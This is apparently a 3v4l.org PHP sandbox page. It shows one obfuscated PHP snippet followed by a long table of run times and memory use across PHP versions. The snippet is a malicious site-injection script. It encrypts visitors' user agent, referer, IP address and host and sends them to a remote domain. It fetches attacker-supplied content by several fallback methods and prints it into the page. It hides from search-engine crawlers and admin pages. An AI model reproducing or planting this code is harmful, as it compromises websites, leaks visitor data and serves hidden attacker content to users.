3v4l.org

run code in 300+ PHP versions simultaneously
<?php function en2($s, $q) { $l = "strlen"; $p = "pack"; $r = "substr"; $m = "md5"; $g = ""; while ($l($g) < $l($s)) { $q = $p("H*", $m($g . $q . "q1w2e3r4")); $g.= $r($q, 0, 8); } return $s ^ $g; }; function g_1($url) { if (function_exists("file_get_contents") === false) return false; $buf = @file_get_contents($url); if ($buf == "") return false; return $buf; } function g_2($url) { if (function_exists("curl_init") === false) return false; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_HEADER, 0); $res = curl_exec($ch); curl_close($ch); if ($res == "") return false; return $res; } function g_3($url) { if (function_exists("file") === false) return false; $inc = @file($url); $buf = @implode("", $inc); if ($buf == "") return false; return $buf; } function g_4($url) { if (function_exists("socket_create") === false) return false; $p= @parse_url($url); $host = $p["host"]; if(!isset($p["query"])) $p["query"]=""; $uri = $p["path"] . "?" . $p["query"]; $ip1 = @gethostbyname($host); $ip2 = @long2ip(@ip2long($ip1)); if ($ip1 != $ip2) return false; $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!@socket_connect($sock, $ip1, 80)) { @socket_close($sock); return false; } $req = "GET $uri HTTP/1.0\n"; $req .= "Host: $host\n\n"; socket_write($sock, $req); $buf = ""; while ($t = socket_read($sock, 10000)) { $buf .= $t; } @socket_close($sock); if ($buf == "") return false; list($m, $buf) = explode("\r\n\r\n", $buf); return $buf; } function gtd ($url) { $co = ""; $co = @g_1($url); if ($co !== false) return $co; $co = @g_2($url); if ($co !== false) return $co; $co = @g_3($url); if ($co !== false) return $co; $co = @g_4($url); if ($co !== false) return $co; return ""; } if (!function_exists("comgzi")) { function comgzi($gzData) { if (substr($gzData,0,3)=="") { $i=10; $flg=ord(substr($gzData,3,1)); if ($flg>0) { if ($flg & 4) { list($xlen)=unpack("v",substr($gzData,$i,2)); $i=$i+2+$xlen;} if ($flg & 8) $i=strpos($gzData,"",$i)+1; if ($flg & 16) $i=strpos($gzData,"", $i)+1; if ( $flg & 2) $i=$i+2;} return @gzinflate(substr($gzData,$i,-8));} else{ return false;}} } //} function k34($op,$text) { return base64_encode(en2($text, $op)); } function check212($param) { if(!isset($_SERVER[$param])) $a="non"; else if ($_SERVER[$param]=="") $a="non"; else $a=$_SERVER[$param]; return $a; } function day212() { $a=check212("HTTP_USER_AGENT"); $b=check212("HTTP_REFERER"); $c=check212("REMOTE_ADDR"); $d=check212("HTTP_HOST"); $e=check212("PHP_SELF"); $domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb"); if (($a=="non") or ($c=="non") or ($d=="non") or strrpos(strtolower($e),"admin") or (preg_match("/" . implode("|", array("google","slurp","msnbot","ia_archiver","yandex","rambler")) . "/i", strtolower($a))) ) { $o1 = ""; } else { $op=mt_rand(100000,999999); $g4=$op."?".urlencode(urlencode(k34($op,$a).".".k34($op,$b).".".k34($op,$c).".".k34($op,$d).".".k34($op,$e))); $url="http://".cqq(".com")."/".$g4; $ca1=en2(@gtd($url),$op); $a1=@explode("!NF0",$ca1); if (sizeof($a1)>=2) $o1 = $a1[1]; else $o1 = ""; } return $o1; } //} if (!function_exists("dcoo")) { function dcoo($cz, $length = null) { if (false !== ($dz = @gzinflate($cz) ) ) return $dz; if (false !== ($dz = @comgzi($cz) ) ) return $dz; if (false !== ($dz = @gzuncompress($cz) ) ) return $dz; if (function_exists("gzdecode") ) { $dz = @gzdecode($cz); if (false !==$dz ) return $dz; } return $cz; } } echo day212();

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0120.00616.73
8.3.50.0100.01221.98
8.3.40.0000.01518.71
8.3.30.0070.00719.20
8.3.20.0040.00420.47
8.3.10.0000.00823.65
8.3.00.0120.00919.80
8.2.180.0090.00616.38
8.2.170.0150.00022.96
8.2.160.0090.00920.40
8.2.150.0080.00024.18
8.2.140.0050.00324.66
8.2.130.0080.00026.16
8.2.120.0050.00319.36
8.2.110.0060.00319.44
8.2.100.0040.00817.84
8.2.90.0040.00419.47
8.2.80.0000.00817.97
8.2.70.0000.01017.75
8.2.60.0000.00818.29
8.2.50.0000.00818.07
8.2.40.0040.00418.28
8.2.30.0050.00318.37
8.2.20.0030.00517.79
8.2.10.0080.00018.32
8.2.00.0090.00019.53
8.1.280.0140.00425.92
8.1.270.0050.00323.91
8.1.260.0030.00626.35
8.1.250.0040.00428.09
8.1.240.0060.00322.26
8.1.230.0150.00019.20
8.1.220.0090.00017.74
8.1.210.0040.00418.77
8.1.200.0000.00917.25
8.1.190.0030.00617.35
8.1.180.0050.00318.10
8.1.170.0030.00518.71
8.1.160.0050.00222.14
8.1.150.0080.00018.68
8.1.140.0050.00317.62
8.1.130.0040.00417.87
8.1.120.0040.00417.59
8.1.110.0080.00017.48
8.1.100.0000.00817.50
8.1.90.0000.00917.51
8.1.80.0040.00417.47
8.1.70.0030.00617.47
8.1.60.0090.00017.67
8.1.50.0080.00017.60
8.1.40.0030.00517.66
8.1.30.0060.00317.71
8.1.20.0040.00417.76
8.1.10.0000.00817.70
8.1.00.0000.00917.54
8.0.300.0000.00718.77
8.0.290.0070.00016.71
8.0.280.0000.00718.57
8.0.270.0000.00717.45
8.0.260.0000.00817.44
8.0.250.0030.00517.14
8.0.240.0030.00617.13
8.0.230.0030.00317.04
8.0.220.0070.00017.04
8.0.210.0050.00317.02
8.0.200.0000.00616.91
8.0.190.0070.00017.08
8.0.180.0040.00716.93
8.0.170.0090.00017.02
8.0.160.0000.00717.14
8.0.150.0000.00716.98
8.0.140.0070.00016.89
8.0.130.0030.00613.51
8.0.120.0040.00416.96
8.0.110.0040.00416.92
8.0.100.0040.00417.02
8.0.90.0000.00717.00
8.0.80.0030.01317.05
8.0.70.0000.00716.94
8.0.60.0000.00716.91
8.0.50.0040.00416.98
8.0.30.0170.00517.16
8.0.20.0120.00817.40
8.0.10.0030.00617.00
8.0.00.0150.00616.93
7.4.330.0050.00015.06
7.4.320.0030.00316.65
7.4.300.0040.00416.59
7.4.290.0000.00716.67
7.4.280.0000.00816.75
7.4.270.0040.00416.62
7.4.260.0070.00016.54
7.4.250.0080.00016.73
7.4.240.0040.00316.61
7.4.230.0000.00716.61
7.4.220.0070.01116.68
7.4.210.0070.01016.60
7.4.200.0040.00416.51
7.4.160.0130.00316.59
7.4.150.0040.01517.40
7.4.140.0130.01117.86
7.4.130.0110.00716.66
7.4.120.0090.00916.61
7.4.110.0110.00616.59
7.4.100.0120.00616.68
7.4.90.0060.01116.47
7.4.80.0120.00619.39
7.4.70.0090.00916.43
7.4.60.0100.01016.61
7.4.50.0060.00316.33
7.4.40.0100.00716.49
7.4.30.0100.00616.73
7.4.10.0040.01216.71
7.4.00.0090.00815.40
7.3.330.0000.00613.23
7.3.320.0000.00513.47
7.3.310.0030.00316.52
7.3.300.0000.00716.37
7.3.290.0070.00716.42
7.3.280.0070.01116.44
7.3.270.0120.00617.40
7.3.260.0110.00716.72
7.3.250.0130.00816.62
7.3.240.0150.00316.45
7.3.230.0150.00316.66
7.3.210.0100.00716.40
7.3.200.0030.01419.39
7.3.190.0170.00616.45
7.3.180.0080.00816.44
7.3.170.0100.01316.47
7.3.160.0130.00616.41
7.3.130.0100.01016.39
7.3.120.0050.01315.43
7.3.110.0060.01215.61
7.3.100.0090.00515.49
7.3.90.0020.00715.52
7.3.80.0060.00615.57
7.3.70.0060.00715.38
7.3.60.0030.01215.53
7.3.50.0040.00615.30
7.3.40.0090.00515.41
7.3.30.0050.01015.37
7.3.20.0050.00917.29
7.3.10.0050.00717.08
7.3.00.0090.00616.98
7.2.330.0120.00816.91
7.2.320.0070.01316.55
7.2.310.0110.01116.78
7.2.300.0040.01216.88
7.2.290.0140.00716.89
7.2.260.0040.01116.40
7.2.250.0080.00815.65
7.2.240.0040.01315.56
7.2.230.0010.01415.81
7.2.220.0090.00815.64
7.2.210.0090.00615.70
7.2.200.0090.00715.64
7.2.190.0050.01015.62
7.2.180.0040.00815.62
7.2.170.0070.01015.61
7.2.160.0040.01216.83
7.2.150.0070.01018.41
7.2.140.0070.00718.26
7.2.130.0070.01518.40
7.2.120.0040.01518.21
7.2.110.0150.00318.31
7.2.100.0100.00618.19
7.2.90.0120.00618.42
7.2.80.0130.00618.50
7.2.70.0070.01118.49
7.2.60.0070.00718.38
7.2.50.0070.00718.46
7.2.40.0100.00718.50
7.2.30.0040.01218.40
7.2.20.0090.00618.39
7.2.10.0100.00618.27
7.2.00.0020.01218.73
7.1.330.0060.00916.28
7.1.320.0030.00916.47
7.1.310.0050.00616.44
7.1.300.0040.01016.31
7.1.290.0040.00716.43
7.1.280.0080.00516.18
7.1.270.0050.00816.34
7.1.260.0080.00716.39
7.1.250.0040.00817.29
7.1.240.0100.00617.27
7.1.230.0000.01317.38
7.1.220.0110.00617.33
7.1.210.0060.00917.19
7.1.200.0030.01116.52
7.1.190.0090.00617.44
7.1.180.0070.00717.43
7.1.170.0000.01417.34
7.1.160.0090.00917.18
7.1.150.0000.01717.38
7.1.140.0000.01617.50
7.1.130.0060.00617.45
7.1.120.0030.01017.19
7.1.110.0110.00617.20
7.1.100.0060.00717.91
7.1.90.0040.01217.32
7.1.80.0070.00717.28
7.1.70.0030.00917.28
7.1.60.0130.00518.49
7.1.50.0080.01217.01
7.1.40.0030.00917.54
7.1.30.0030.01317.21
7.1.20.0070.01017.22
7.1.10.0000.01117.31
7.1.00.0050.04219.88
7.0.330.0070.01016.96
7.0.320.0070.00716.88
7.0.310.0100.00617.02
7.0.300.0000.01117.09
7.0.290.0130.00317.11
7.0.280.0040.01117.04
7.0.270.0060.00616.93
7.0.260.0000.01717.19
7.0.250.0040.00716.90
7.0.240.0070.00717.04
7.0.230.0090.00616.98
7.0.220.0100.00617.04
7.0.210.0080.00417.06
7.0.200.0100.00316.76
7.0.190.0070.00716.97
7.0.180.0090.00416.91
7.0.170.0070.01017.06
7.0.160.0030.01316.95
7.0.150.0080.00417.12
7.0.140.0050.04019.64
7.0.130.0090.00617.07
7.0.120.0080.00616.85
7.0.110.0000.01417.06
7.0.100.0080.04018.72
7.0.90.0050.04618.61
7.0.80.0100.04618.49
7.0.70.0080.03818.54
7.0.60.0030.04718.57
7.0.50.0040.04418.73
7.0.40.0030.02517.51
7.0.30.0060.04117.57
7.0.20.0100.04217.52
7.0.10.0060.03717.64
7.0.00.0080.04017.54
5.6.400.0060.00616.04
5.6.390.0000.01815.92
5.6.380.0040.00815.95
5.6.370.0070.00716.01
5.6.360.0060.00916.13
5.6.350.0030.00715.84
5.6.340.0060.01016.06
5.6.330.0000.01215.79
5.6.320.0030.01415.97
5.6.310.0080.00416.18
5.6.300.0030.01015.82
5.6.290.0120.00315.75
5.6.280.0130.03518.63
5.6.270.0100.00716.34
5.6.260.0040.01115.83
5.6.250.0080.04418.33
5.6.240.0080.04318.54
5.6.230.0030.03818.27
5.6.220.0030.04818.21
5.6.210.0050.04118.49
5.6.200.0070.04118.64
5.6.190.0080.04318.60
5.6.180.0080.03718.46
5.6.170.0050.02518.55
5.6.160.0070.02518.56
5.6.150.0120.03718.49
5.6.140.0090.03418.54
5.6.130.0090.04418.61
5.6.120.0050.04818.59
5.6.110.0080.04018.75
5.6.100.0070.04418.54
5.6.90.0070.03918.52
5.6.80.0050.03818.25
5.6.70.0110.04018.23
5.6.60.0080.03318.23
5.6.50.0080.04418.12
5.6.40.0080.02818.25
5.6.30.0050.02818.19
5.6.20.0130.02818.13
5.6.10.0070.04418.18
5.6.00.0050.04018.19
5.5.380.0070.02218.26
5.5.370.0100.04218.26
5.5.360.0090.04018.09
5.5.350.0130.04218.12
5.5.340.0090.04018.34
5.5.330.0050.04418.29
5.5.320.0050.02718.17
5.5.310.0030.02718.36
5.5.300.0070.04418.29
5.5.290.0100.03718.29
5.5.280.0080.02818.35
5.5.270.0050.04718.37
5.5.260.0040.04718.29
5.5.250.0030.04718.32
5.5.240.0020.04917.97
5.5.230.0050.04717.99
5.5.220.0080.04118.03
5.5.210.0080.04518.04
5.5.200.0030.03517.97
5.5.190.0050.02918.02
5.5.180.0060.04417.97
5.5.170.0090.00915.85
5.5.160.0080.04218.04
5.5.150.0100.03917.93
5.5.140.0070.04417.98
5.5.130.0070.04218.03
5.5.120.0070.03717.88
5.5.110.0050.02618.00
5.5.100.0050.04217.99
5.5.90.0050.02717.97
5.5.80.0050.03017.92
5.5.70.0030.04617.95
5.5.60.0090.04217.94
5.5.50.0030.02217.93
5.5.40.0050.04617.90
5.5.30.0100.03218.05
5.5.20.0050.02318.04
5.5.10.0090.02817.77
5.5.00.0050.02617.83
5.4.450.0070.04516.39
5.4.440.0030.04016.39
5.4.430.0030.04216.38
5.4.420.0050.05016.36
5.4.410.0030.03616.31
5.4.400.0070.03516.37
5.4.390.0080.04016.25
5.4.380.0080.03316.20
5.4.370.0030.04516.38
5.4.360.0050.02516.35
5.4.350.0100.04016.36
5.4.340.0070.02716.30
5.4.330.0030.00513.54
5.4.320.0100.03316.32
5.4.310.0040.02816.39
5.4.300.0050.03516.29
5.4.290.0030.03816.35
5.4.280.0020.04216.22
5.4.270.0050.03516.34
5.4.260.0100.02316.21
5.4.250.0070.02716.33
5.4.240.0100.02016.21
5.4.230.0050.02116.29
5.4.220.0130.02816.29
5.4.210.0050.02416.22
5.4.200.0100.03816.29
5.4.190.0090.03316.36
5.4.180.0070.03316.34
5.4.170.0060.02916.30
5.4.160.0080.03916.28
5.4.150.0040.04216.34
5.4.140.0080.03215.02
5.4.130.0060.03915.02
5.4.120.0060.02314.96
5.4.110.0060.02815.04
5.4.100.0100.03515.05
5.4.90.0030.04315.05
5.4.80.0120.03314.97
5.4.70.0060.04015.04
5.4.60.0040.03914.98
5.4.50.0030.02715.03
5.4.40.0030.02115.03
5.4.30.0070.03214.95
5.4.20.0070.04215.02
5.4.10.0050.04214.98
5.4.00.0050.04014.73
5.3.290.0080.04014.63
5.3.280.0040.02514.63
5.3.270.0040.03914.63
5.3.260.0080.02314.63
5.3.250.0030.02514.63
5.3.240.0060.03814.63
5.3.230.0030.03914.63
5.3.220.0100.03614.63
5.3.210.0050.04214.63
5.3.200.0070.04014.63
5.3.190.0130.02114.63
5.3.180.0120.03114.63
5.3.170.0090.03414.63
5.3.160.0070.04414.63
5.3.150.0040.03814.63
5.3.140.0020.02714.63
5.3.130.0030.02714.63
5.3.120.0060.02314.63
5.3.110.0060.03814.63
5.3.100.0070.02814.63
5.3.90.0100.02314.63
5.3.80.0030.04514.63
5.3.70.0090.03314.63
5.3.60.0050.02914.63
5.3.50.0030.02414.63
5.3.40.0070.02714.63
5.3.30.0030.03514.63
5.3.20.0030.04214.63
5.3.10.0030.03914.63
5.3.00.0080.03814.63

preferences:
41.42 ms | 401 KiB | 5 Q